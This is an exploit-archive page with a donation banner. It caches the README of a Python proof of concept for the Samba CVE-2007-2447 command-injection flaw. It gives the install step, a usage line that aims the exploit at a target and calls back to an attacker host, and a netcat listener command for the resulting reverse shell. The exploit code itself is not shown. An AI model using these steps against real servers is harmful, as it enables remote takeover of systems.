Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2007-2447 PoC — Samba MS-RPC Shell命令注入漏洞

Source
Associated Vulnerability
Title:Samba MS-RPC Shell命令注入漏洞 (CVE-2007-2447)
Description:Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执
Readme
# CVE-2007-2447 - username map script

"The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management."



## Exploit

### Installation:

**[*]** This exploit requires Python 3.7 or higher

``` 
python3 -m pip install pysmb 
```

### Usage:

```
$ ./CVE-2007-2447.py --rhost 10.10.10.3 --lhost 10.10.14.10 --lport 4444 --rport 445
```
* ```--rhost``` -- Remote Host
* ```--lhost``` -- Local Host
* ```--lport``` -- Local Port
* ```--rport``` -- Remote Port **[*]** _Optional. default=445_

Do not forget to start your listener:

```
nc -lvnp 4444
```

## PoC

![image](https://user-images.githubusercontent.com/80174242/110221372-e9226500-7ec3-11eb-850b-77e6c7711707.png)

File Snapshot

[4.0K] /data/pocs/b4e57c5014e36bb6ea7bf46f2c6ad00aaea9da8d ├── [1.1K] CVE-2007-2447.py └── [1.0K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.